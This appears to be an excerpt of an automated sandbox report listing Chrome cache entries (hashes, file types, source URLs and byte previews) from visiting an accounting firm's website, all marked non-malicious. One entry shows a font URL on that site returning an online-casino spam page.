SHA-512:	C043FD727E9318AB5246065631DDC17DD31BE81B333682A4E1D6CA9D3C607E33C8A7B4FAE66C4B26763F4D5539D47E29B5FA3143CCDCC450323D6881A1098F19
Malicious:	false
Reputation:	low
URL:	https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3091.363497503404!2d-76.86641948476705!3d39.211909435948826!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89b7d6d679e73e2d%3A0xdba2f95576c383e5!2sBFJ+Financial+Group!5e0!3m2!1sen!2sin!4v1499261403670
Preview:	<!DOCTYPE html>.<html>. <head>. <style type="text/css">. html, body, #mapDiv {. height: 100%;. margin: 0;. padding: 0;. }. </style>. </head>. <body>. <div id="mapDiv"></div>. . <script nonce="JwsKqgSoK5JN1tVqquXggA">. function onEmbedLoad() {. initEmbed([null,null,null,null,null,[[[2,"spotlit",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,null,11,null,[null,null,null,null,null,null,null,null,null,null,null,null,null,1]]]],null,null,[[null,null,null,null,null,null,null,null,null,null,null,null,null,[[["9923636520590720557","15826486185993405413"],"/g/1th88050",null,[392119053,3526324988],null,null,null,null,null,null,null,null,null,null,"gcid:certified_public_accountant"],0,0,null,null,0,null,0]]]],null,["en_US"],[null,null,null,"/maps/api/js/ApplicationService.GetEntityDetails","/maps/embed/upgrade204",null,"/maps/embed/record204"],null,null,null,null,null,null,null,null,"b0kYZuOcOq7n5NoPzKCJ0AE",nu

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13479)
Category:	downloaded
Size (bytes):	13577
Entropy (8bit):	5.272065782731947
Encrypted:	false
SSDEEP:	192:5rprDN+sag6ifKIUpQI99P1tLm9kdgyq1+J3aCJQ+h4MPLORq:5rprxaefKI0LP19m4q1WW+h4Mjp
MD5:	9FFEB32E2D9EFBF8F70CAABDED242267
SHA1:	3AD0C10E501AC2A9BFA18F9CD7E700219B378738
SHA-256:	5274F11E6FB32AE0CF2DFB9F8043272865C397A7C4223B4CFA7D50EA52FBDE89
SHA-512:	8D6BE545508A1C38278B8AD780C3758AE48A25E4E12EEE443375AA56031D9B356F8C90F22D4F251140FA3F65603AF40523165E33CAE2E2D62FC78EC106E3D731
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
Preview:	/! jQuery Migrate v3.4.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /."undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],a=1;a<=3;a++){if(+o[a]<+n[a])return 1;if(+n[a]<+o[a])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.4.1";var t=Object.create(null);s.migrateDisablePatches=function(){for(var e=0;e<arguments.length;e++)t[arguments[e]]=!0},s.migrateEnablePatches=function(){for(var e=0;e<arguments.length;e++)delete t[arguments[e]]},s.migrateIsPatchEnabled=function(e){return!t[e]},n.console&&n.console.log&&(s&&e("3.0.0")&&!e("5.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.x-4.x REQUIRED"),s.migrateWarnings

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	9582
Entropy (8bit):	7.922843065741066
Encrypted:	false
SSDEEP:	192:DG1vYZHZZL3UfRjUazdUjatgN7SbNTPn20GmALYF+fedEV2pry4sGYs:DoQRZZQUp2qiT/hGmAw+fedhrkGYs
MD5:	68B830DDBBEE81CCC36C3F027A42B8E3
SHA1:	6CEDDDC56FA3F3EC9EF7402D0885DF1A5996949E
SHA-256:	F0DE82F63DE03C45682106447BE30C3769D530F3DC06FADAF3CE55CD964E736D
SHA-512:	FE818ECA680E99BC31338847C4C37AFDC4CF78007DD7D0C50125E4DFC49B92E625AE40F2B6746EBA10F7D029CE1E446426AB864A87FD2C0DBCE3C4E51D768890
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6f0100007603000096070000730800006c090000b40e000004160000821600007f1700006f1800006e250000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...........".............................................................................g...t=2.R...P.Y.....Tp.x.#UI.U%J......&..]..y.Z./.jh.,.}.O..K...w..0.a.."{.....,sEe....{(.4....j..t '.cA.G.6rWC.{..h.j..'.&C.T.nk........R..,uY..-XI.!.ftb.@.....3.8K.F..\|...[mN.J..y.`8.....ap.f....M0.C.-.-....>..3j...V......B..Wi^...N..n.....c....G.......hei.O.-........=.;....-..P.^te#..Z=..'....B..{.\.(.T.\....."..m..5.......}.(.i.^.bX.@.=)<.T.V.3l.Z.2k....\|....J..+.3..-. {Ei....5.?;H.a......6....>...^...ym-. 2._...Qf=;..Yi.\,.IoT...'..........................!".#12.A..$..........,s.c.....F.....B.en.}........3..&;..If.c\|36#.].)..p..W..Hd.n."..x&.m.c.......E#..U... ...T.}.K$R...].

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, copyright=Copyright (c) 2015 Lemau Studio/Shutterstock. No use without permission.], progressive, precision 8, 154x154, components 3
Category:	downloaded
Size (bytes):	4937
Entropy (8bit):	7.715082861624795
Encrypted:	false
SSDEEP:	96:Vc33KnsLoQXOAeilZaO4NrE6gh3LzD1IG5RwwKAbeXvn1Umgaayd:M3ToHAeEZ4NrE1hXDaYRRLiv1Umgaayd
MD5:	E9A7DB1637179A5D99FE1365B5E8ADCD
SHA1:	68665B190FC7E0C5390F05F04D9386984C3480EC
SHA-256:	2087A7BCA86E45FC5287B5A1833EC154011DF7AEF9F7E9D872226747A730EA83
SHA-512:	ECD15B2E2296EB6F34575A80FD55D1BAAC369FA8B3D9778CE9D9E8FB32E6253A8ADF8E2B1322F45A9E626D584612857C5347C631AB300B76CE9BDB5DC3EF2A4D
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-1.xx.fbcdn.net/v/t39.30808-6/434402861_977701610421459_6880091748567335012_n.jpg?stp=c71.0.154.154a_dst-jpg_p296x100&_nc_cat=108&ccb=1-7&_nc_sid=5f2048&_nc_ohc=kXLmUCdhYxsAb4iEjaH&_nc_ht=scontent-lga3-1.xx&oh=00_AfARRBcvMDDBFsm5yvE56fykVe6lS6PvAygGzPU5Y-GOYA&oe=661E1968
Preview:	......JFIF.............lExif..MM..............J........Copyright (c) 2015 Lemau Studio/Shutterstock. No use without permission......http://ns.adobe.com/xap/1.0/.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/". xmpRights:WebStatement="https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=webstatement"/>. </rdf:RDF>.</x:xmpmeta>.....Photoshop 3.0.8BIM..........t.ICopyright (c) 2015 Lemau Studio/Shutterstock. No use without permission...P..Lemau Studio..(.bFBMD0a000ae20300005b050000e6060000340700009c070000fc080000b80b0000300c0000910c00000b0d000049130000...C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."....................................................................

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=1, copyright=Copyright (c) 2023 Zolak/Shutterstock. No use without permission.], baseline, precision 8, 560x292, components 3
Category:	dropped
Size (bytes):	67933
Entropy (8bit):	7.979660325572327
Encrypted:	false
SSDEEP:	1536:bAoyV4mwWa92GZ/xuYtkmfmS0xGQqxdje6+qN1rkfTgny:M1w592GZ/KjxGQqxdjFvrkfkny
MD5:	22B376E36E0CF963186ED49C3EC53A22
SHA1:	0D421B869AFD91437DA2D9033B13EDE685DB5663
SHA-256:	B82920E44DF026F5D7FC27A5F56CF2FF7D8A8C27A723E18112D0BFC575BEEE8E
SHA-512:	3053C6E14A039A16C0522961A3E42F36A980C2EFE9A3E7C16319B64673D441A93D765892A58EA5125B93FADBFD657DAA42E81088DB3FE7199EA0258B20A5DDDA
Malicious:	false
Reputation:	low
Preview:	.....hExif..II*...........C...........Copyright (c) 2023 Zolak/Shutterstock. No use without permission.........Ducky.......P.....Ehttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:WebStatement="https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=webstatement" xmpMM:DocumentID="xmp.did:36D72B7AE2F511EE9FE1B8ABF5D547BD" xmpMM:InstanceID="xmp.iid:36D72B79E2F511EE9FE1B8ABF5D547BD" xmp:CreatorTool="Adobe Photoshop 2024 Macintosh"> <xmpMM:DerivedFrom stRef

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 154 x 56, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3692
Entropy (8bit):	7.929519819205073
Encrypted:	false
SSDEEP:	96:UeslXWlJSJy7lYLpDKrEKI936wRUbcO5RtQ9ZJ:UnXWlwVpyU93HctQ9ZJ
MD5:	95317F15E066D65A0D23D5F3A40797BF
SHA1:	68003522756DC5B7F153D5A789054724451943D7
SHA-256:	18A1D55F2C6E82DFE544F79FF398AD13FFBF54E9310E208DC427F7092CE164B7
SHA-512:	3D147566F64B81147895995C651D2EA9BE5BBF9366E811D00322459662427A1857283C6F5D98F457A0D6107E5E6747B62AA37E5C85000EF918880050687B23B5
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/assets/images/home/finra-logo-white.png
Preview:	.PNG........IHDR.......8......+......gAMA......a....#IDATx..........(.x.b.E.".A.L.h.A.ID.$.X.J<..]..........bL.S^Q<0..V..F.#.(... x! ..6..g.ggvgV.W.......~.....b.L.=.v..8..6.U..JQ.2[.l...a...y..E....'.,..-Z\|./Q..oP-...v...]....v..g-h0IFB.X.@.[p....+$.\|0\....4...B.D..W...U...n.Pq7.......Rj..e..it5.....W.. #..tYt...F..._.K....yN..Sf\|.t'........0k_.=.Cm...`6\|.i...5..Sd...0-!mfhE>.f...p....a)........H<.4.&.....YN....v......0.m8..zQ@..w<\|Q .j.z...&.-....<t.......m..........'.vJ8..Z....@..q.^W...BHz.-Y4h..j...V.[C>.zC.V...U._.h....Y..T=..9.....4...4..0.\..@.\|63.Q0M.CvK.*8.:.ICp.a.2.....R........6..W./..."J...m}..#`1D...}`y4"w.i.>......Q$...(....C.!+..9....JH..t..0....`!8%...!......q...caN\d(...1..V..%x9m..t.....j.&d........s..JC......^NO...p....9l.;:......e9=YF!M#....[Z]I..`..."......{..Ez../u...C.n.G....L...E..,......q..!P.[@G.H.3..PH.%.z..q...#.f..{.....EA.oC......=...v...uD;........Qi........M.....H.?$.^;...E.{p.L....+`..1...v<F.J.N...uE.N06G.}`_....@..

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65410)
Category:	dropped
Size (bytes):	513252
Entropy (8bit):	5.877645482702884
Encrypted:	false
SSDEEP:	6144:3mJ+8uZvuJpwHABZm8CwT2frzi68Y6jDLp7xCF8O2XRDEJeyAnjoFBU:WsBqwHSZxfrZDL88O2hDKw
MD5:	4121CD8D20E9B8280924D83EAE3DB867
SHA1:	21AAAC3B54864E80556DF0CBD37EB0328076E453
SHA-256:	522EC38D2A6236643DA43D49C8851397FD9A3C9FE415D3C5F81168E3B8EBDEEB
SHA-512:	5F7A3C12B7E51D61559CC5A0E8667DB2FAAAB9159DD726B03387218A56B1678A3C421EEF0D9E132E869C7DF5761D90CBCB4586C734F425694FBC6E772C95DDCA
Malicious:	false
Reputation:	low
Preview:	/! For license information please see authwall-ubba.js.LICENSE.txt /.!function e(t){var n={},r={},i=ReferenceError,o=TypeError,a=Object,s=RegExp,c=Number,l=String,A=Array,d=a.bind,u=a.call,h=u.bind(d,u),g=a.apply,f=h(g),p=[].push,m=[].pop,v=[].slice,B=[].splice,w=[].join,E=[].map,C=h(p),Q=h(v),y=(h(w),h(E),{}.hasOwnProperty),b=(h(y),JSON.stringify),I=a.getOwnPropertyDescriptor,k=a.defineProperty,x=l.fromCharCode,T=Math.min,D=Math.floor,S=a.create,R="".indexOf,F="".charAt,O=h(R),_=h(F),M="function"==typeof Uint8Array?Uint8Array:A,N=[i,o,a,s,c,l,A,d,u,g,p,m,v,B,w,E,y,b,I,k,x,T,D,S,R,F,M],L=["prototype","rqnSrxC0cXzbG819smR0x0mQShm3b1HD","3r2q4TKADxC6dw","b0U","ArrayBuffer","oAFWWIEEzw","n--DhmDsRDqvV5o","9k9OCq0BhdUNyxOwS8GqAJ9blcR5ip0Z98FtXs4qRczOx5dEtjaZ4GKiKRxAdqF2g_F27wDpaG_JwdWowc3aiA7Z76-gU0ZpSboNyBWbTaJWSPuYGxYkMklKVwkhwyy5v63LUPWDbmno7NH1onqvf6At5RGPLRTC3p_mJW1xByf3HQllzAyQz5Ic-RN15PM0StER7uBLshB2GWkUvCGmixCCKr_qjGsrQKYDg9h2wB7LikAQD7vTVHLSnkYyh5talF4vl-vLPLVSEeHmJEK30B7nHdGv6h

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 4 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	24838
Entropy (8bit):	2.3776312389302885
Encrypted:	false
SSDEEP:	96:h2ki0ihoer+JHZyx51Zc3juid220pvVhrBpvN:h2bEHK1ZxY220b
MD5:	B2CCD167C908A44E1DD69DF79382286A
SHA1:	D9349F1BDCF3C1556CD77AE1F0029475596342AA
SHA-256:	19B079C09197FBA68D021FA3BA394EC91703909FFD237EFA3EB9A2BCA13148EC
SHA-512:	A95FEB4454F74D54157E69D1491836655F2FEE7991F0F258587E80014F11E2898D466A6D57A574F59F6E155872218829A1A3DC1AD5F078B486E594E08F5A6F8D
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/al2o9zrvru7aqj8e1x2rzsrca
Preview:	............ .h...F......... ......... .... .....6...@@.... .(B......(....... ..... ..................................................................................................s...s...s...s...s...s...s...s...s...s...s...s..../..........s...s...s...s...s...s...s...s...s...s...s...s...s...s...........s...s...........s...........s...s...s...........s...s...........s...s...........s...........s...s...s...........s...s...........s...s...........s...........s...s...s...........s...s...........s...s...........s...............s...y...........s...s...........s...s...........s...........z..s...D..........s...s...........s...s...........s...............................s...s...........s...s...........s..........................?..s...s...........s...s...=..=..s...s...s...s...w...~...s...s...s...s...........s...=..........=..s...s...s...s...s...s...s...s...s...........s...=..........=..s...s...s...s...s...s...s...s...s...........s...s...=..=..s...s...s...s...s...s...s...s...s...s

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8857)
Category:	downloaded
Size (bytes):	185866
Entropy (8bit):	5.571274887467943
Encrypted:	false
SSDEEP:	1536:z/B2Oh/8DG+xhXex/5AAW24KJY4OPp3iTy1LJupTI8NkdWSApVkBdc5LLWtC:z/AOh/8DfQ424KJY4611tApVkBdcBLz
MD5:	9F719B1D93C9D2DC54B04EB4765ACA42
SHA1:	C5B933A76C5D7A49951B0ECA260E5ED569A903E7
SHA-256:	2959DCB9B8B5B5F3214286F3362A7434DB2DE8BADF1E1DB4471ED9C14862624A
SHA-512:	0AA2D1B98F901D4483A8077ACB95D38BFEE03E079BF6086F38C5A5B3E4A2069F6A12227EB1F721927F67344CB3A5F921151B68251E33CE888B188D0F16498AB0
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3iacN4/yI/l/en_US/WtSigFewNab7KAIuQYQ2DRA37h4BaAlJ8gWh56eirsqvHLjfwTDbdf9s1JoHwtNCGoA5nPaj8nV1TFKK1IeoD-YrVg6MKwflxf-xsw_y3zVOBS5r1v89-9txasBrIEKskPYz.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("GroupsCometMemberProfileLink_group.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"GroupsCometMemberProfileLink_group",selections:[{alias:null,args:null,kind:"ScalarField",name:"answer_agent_id",storageKey:null}],type:"Group",abstractKey:null};e.exports=a}),null);.__d("useVideoPlayerShakaConfig_video.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"useVideoPlayerShakaConfig_video",selections:[{alias:null,args:null,kind:"ScalarField",name:"id",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"is_spherical",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"is_gaming_video",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"is_latency_menu_enabled",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"is_live_streaming",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"fbls_tier",

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (11694), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	63843
Entropy (8bit):	5.3746354422858245
Encrypted:	false
SSDEEP:	768:a7pFnXNRzFr0hZdapNBVJ58PKUftEE0QB26hR9OOADgse3XdAUix0th:a7pZPaapLVJ58PHDB26ESXdAUix0th
MD5:	538B448CD18E576E224C003770859CB6
SHA1:	2118248DD919E9C2BB61EB1F6ED0B57093241DE8
SHA-256:	7436F346EBBDE76BEFEA0E2F7950306D3FDF2943F1E31A39A35170C345EBB441
SHA-512:	183D5FD120774E2C6ECB0AE07554C03166E6B2EAFF2370DFBBE2B211C0F4E5D4D2558C4074902F4A09F4E1998C8D4215699B00A088578AFF0EA1D9D302B75EE9
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/fonts/glyphicons-halflings-regular.ttf
Preview:	..<!DOCTYPE html>.<html class="no-js" lang="en-US">.<head>.<meta charset="UTF-8">.<meta name="viewport" content="width=device-width, initial-scale=1.0">.<link rel="pingback" href="https://www.bfjfinancial.com/xmlrpc.php">.<meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v22.4 - https://yoast.com/wordpress/plugins/seo/ -->..<title>What is the best Online Casino Websites? - BFJ Tax & Accounting</title>..<meta property="og:locale" content="en_US" />..<meta property="og:type" content="website" />..<meta property="og:title" content="What is the best Online Casino Websites? - BFJ Tax & Accounting" />..<meta property="og:description" content="Many players who are not experienced may be confused when trying to find the most effective online casino real money casino game for their vulkanvegas gaming needs. Reviewers online provide game evaluations and strategy tips along with strategies for winning games to allow you to play the mo

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2958
Entropy (8bit):	4.703292730002049
Encrypted:	false
SSDEEP:	48:2h3QrgWatGCNnAYSJcsSUEDRrp+LuQmPnxkvJlsH/7Lls5aHLvJjW6:MgrgZICNhaczrp+LuQmfxceDLe5aLv5j
MD5:	8E6F25F8189065407452B8B0C00426A3
SHA1:	7485D46647A459789F6E7319CFEF6426A643244B
SHA-256:	B9E0A92C496B900728000DBF48AA623A7EB0468C5814A8BF60C69D6CDA05B149
SHA-512:	7680B1C45767DE2B9CC6975DF9AD1CD3A75A22E24283AAE21DB1185A873CAEF3ABB19A02BB4B96782C7DCE0A2858B2B6A341B2B94AE1FFDF9120109C6E71A867
Malicious:	false
Reputation:	low
Preview:	<svg viewBox="0 0 84 21" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">. <g class="inbug" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">. <path d="M19.479,0 L1.583,0 C0.727,0 0,0.677 0,1.511 L0,19.488 C0,20.323 0.477,21 1.333,21 L19.229,21 C20.086,21 21,20.323 21,19.488 L21,1.511 C21,0.677 20.336,0 19.479,0" class="bug-text-color" transform="translate(63.000000, 0.000000)"></path>. <path d="M82.479,0 L64.583,0 C63.727,0 63,0.677 63,1.511 L63,19.488 C63,20.323 63.477,21 64.333,21 L82.229,21 C83.086,21 84,20.323 84,19.488 L84,1.511 C84,0.677 83.336,0 82.479,0 Z M71,8 L73.827,8 L73.827,9.441 L73.858,9.441 C74.289,8.664 75.562,7.875 77.136,7.875 C80.157,7.875 81,9.479 81,12.45 L81,18 L78,18 L78,12.997 C78,11.667 77.469,10.5 76.227,10.5 C74.719,10.5 74,11.521 74,13.197 L74,18 L71,18 L71,8 Z M66,18 L69,18 L69,8 L66,8 L66,18 Z M69.375,4.5 C69.375,5.536 68.536,6.375 67.5,6.375 C66.464,6.37

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	252
Entropy (8bit):	4.401430027522087
Encrypted:	false
SSDEEP:	6:l4in7ItLP5Y/MFs/qkSi0Jv/GPqjCQssMF0Ib3:r7oP5Quv/H0sA
MD5:	9333F96D8BBADD64A6BD55255A021A64
SHA1:	3DE6E96DA4DEECDA8A87B130D35E55AB4645D169
SHA-256:	287544B705444A3991638D7CA0565D3868C34A091E29FA70BC41816E3005864C
SHA-512:	E5A315B23E276AF7ADE0CB3A0EE44B210E7D836718C1060DDBA752CAE9C40A58C4A01C869C5710EFBA7762707396425F39C7C9375C70E1FA98DD6DA1612D4D61
Malicious:	false
Reputation:	low
URL:	https://static.ada.support/chat-manifest.json
Preview:	{. "versions": [. {. "tag": "canary",. "hash": "44304ddfc392ced2ca09cc206435b5986d135b63",. "weight": 0.1. },. {. "tag": "stable",. "hash": "b9641c28c7fba390d8a3af5931cc05aea4de6809",. "weight": 0.9. }. ].}..

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1600x826, components 3
Category:	dropped
Size (bytes):	190746
Entropy (8bit):	7.983953289844051
Encrypted:	false
SSDEEP:	3072:XuAhJ756Vgy2kULBMeorZovYXq/eFiPCiiNW3QKD0g581BfLipGGUz2M:ZVHy2kU1MH2vYXqeEcg3QKD0O81RCeyM
MD5:	52E6A4444FD70DF386583B93C27A5143
SHA1:	5CF4CFE97A79457C5E0885C00F3085727D08E649
SHA-256:	EEEA227A69749D88147AEF51606B5D83311DE8C080F078E0AF347C31AD173349
SHA-512:	AD9F597AD7957F4CF46424509B8ABFD73F71C8F2A04FDF5B73AEBF6F1A9E2C1EFFBC7423EA96ECF48BA93391BBC224C0E525E068719FECF8A3175A3D1B4FC6E4
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................:.@.."................................................................................a.5..Y`VX.......+,....a.a.aY`VX...........@.@.@.D.EL L L L L ..+..a.a.a.b...&............DI.I..A.A.A.0..+&.....}..?...v...f.:vd..#X. . . . ...$.$.$.$.$DI.I.I!............).R.........2..C.0C.0C.0J@..$...`..`..a...C.0C@.&.`....L.........!.............&.h.. .....T.....&....h.........q..0}..g.......a.-..M...o.`.....................(..!..@...... ...0C!.............&.....oL.0CP...`.*.@....C..P..!.......@.C.5...!..Hj..`..0C.4.@.!..@ ........0C.J".&......F^WG.ch...Y.@7...... ......0..CT.................!.............................C.0C)&@.!......C.1P..&.`....C.0@.4.P.!........0......!.................`&........C.....Nkf.-.....4....&..........C.2..............b......... .. L..........Dgl!..C.4..`.B..............!..L....2....`.......0C.0@.`.B.H.

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6250)
Category:	downloaded
Size (bytes):	312309
Entropy (8bit):	5.565608703897532
Encrypted:	false
SSDEEP:	3072:y3i4agj6R+8bFtV8vWHsKC7FJw8jHGXmJxm3dVNzzYrWTrWZEvgYfR0u7RIko0/j:V4cRp8+HsKSrIsSPNzzYrgrWZefRzRIe
MD5:	CF33629FDF172C46FC941400A906C8CB
SHA1:	2604EBC468D2D8B799E1ACDFE20EC83812BE7C13
SHA-256:	56639B1725DA193D3F282E3FE695B6DEA603064C1B5C066B75FA9BC979046273
SHA-512:	965AC70B96FEF0DCAC787D02826A15B691EA5F28917A999FA7DE18B4C3DD634889B80EFB92BB37970B61BE26EC3582C09D22534C6DCC52B55E239E36A32DE570
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-E1ZB2L7Z3V&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"10",. . "macros":[{"function":"__e"},{"vtp_signal":1,"function":"__c","vtp_value":1},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"function":"__c","vtp_value":false},{"function":"__c","vtp_value":false},{"function":"__c","vtp_value":false},{"function":"__c","vtp_value":false},{"function":"__c","vtp_value":false},{"vtp_signal":1,"function":"__c","vtp_value":1},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_cross_domain","priority":25,"vtp_rules":["list","smartvault\\.com"],"tag_id":118},{"function":"__ogt_referral_exclusion","priority":15,"vtp_includeConditions":["list","smartvault\\.com","calendly\\.com"],"tag_id":116},{"function":"__ogt_ip_mark","priority":15,"vtp_instanceOrder":0,"vtp_paramValue":"internal","vtp_ruleResult":["macro",4],"vtp_enableIpRegex":true,"tag_id":119},{"function":"__ogt_ip_mark","

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	2490
Entropy (8bit):	7.3339011803855465
Encrypted:	false
SSDEEP:	48:g+iW6P/n/CtkFzPWp7OtRS+92dO2b6m3t4TuenAqcRk1Uz29:G/CFCtZ2RquenEk1yk
MD5:	9BA3A3A834745B7B79716FF78D3E8441
SHA1:	ADA265D36EBE15325A5259FC72B288E45FB07093
SHA-256:	56E40E39DBD5063AAA36104EF3FE7E0B7299BD0111816A806B7A67CCCF04A263
SHA-512:	E406EA68161D009FD0CC28E68214636F3B56B579EC3C9DD1A08A42AB51F33880FD211DDE83BE2285E21785617CD8C73FDDAC4BE79AE4B7C1986A2A04B2A7D707
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6c01000028020000f5020000370300008703000023050000990600001307000062070000b8070000ba090000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."...........................................................................P........9.:$.........ih.i'@....jPP..Z..v..I:..C..r....~..G.7.M.:...<...si.=o\|..TF...................................................$............................. !0Pp................/kb.(..Zq...<.{..lV...1...X.(.d.~.:)_.%..3.-wMK.A.z....CP1....d....f...M.'.2...;_AT...".Y`.....V.!..Y..Nv...x1..\.=C..~....Y.....a.M..Y..s.EwF!F...v.........................Q. 0A`........?...#H.4..V......._FD.m/............................01`........?..Y..Fy.p...i.f.......0.......................!.".1AQ#a..023... BPSp.........?.....)~q.y.O.Y..^k.8.D.s7...X:..hP7...q.C.".?U{G./...=!4dM..n.."{.?.@.RLJD.....,...f

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21867)
Category:	downloaded
Size (bytes):	121901
Entropy (8bit):	5.267402486465911
Encrypted:	false
SSDEEP:	768:A7MObX5cw6jyVjysinPA0dXYY03/Ev/Eo+vN8jvjVdkWDkWUe8BhREVYRf+75yA1:bjUozUVA9+n0YG6lZDMCMYz+ldQtIp
MD5:	E37E45BA066E1C676731B7E1429F48B7
SHA1:	A83F7C52E2A14C59B1FE69CDB086B15EDA059294
SHA-256:	F48B9CA5881D38490A6C33B5867F3FE7401C4E08CC596F94D738B07FC1F537D9
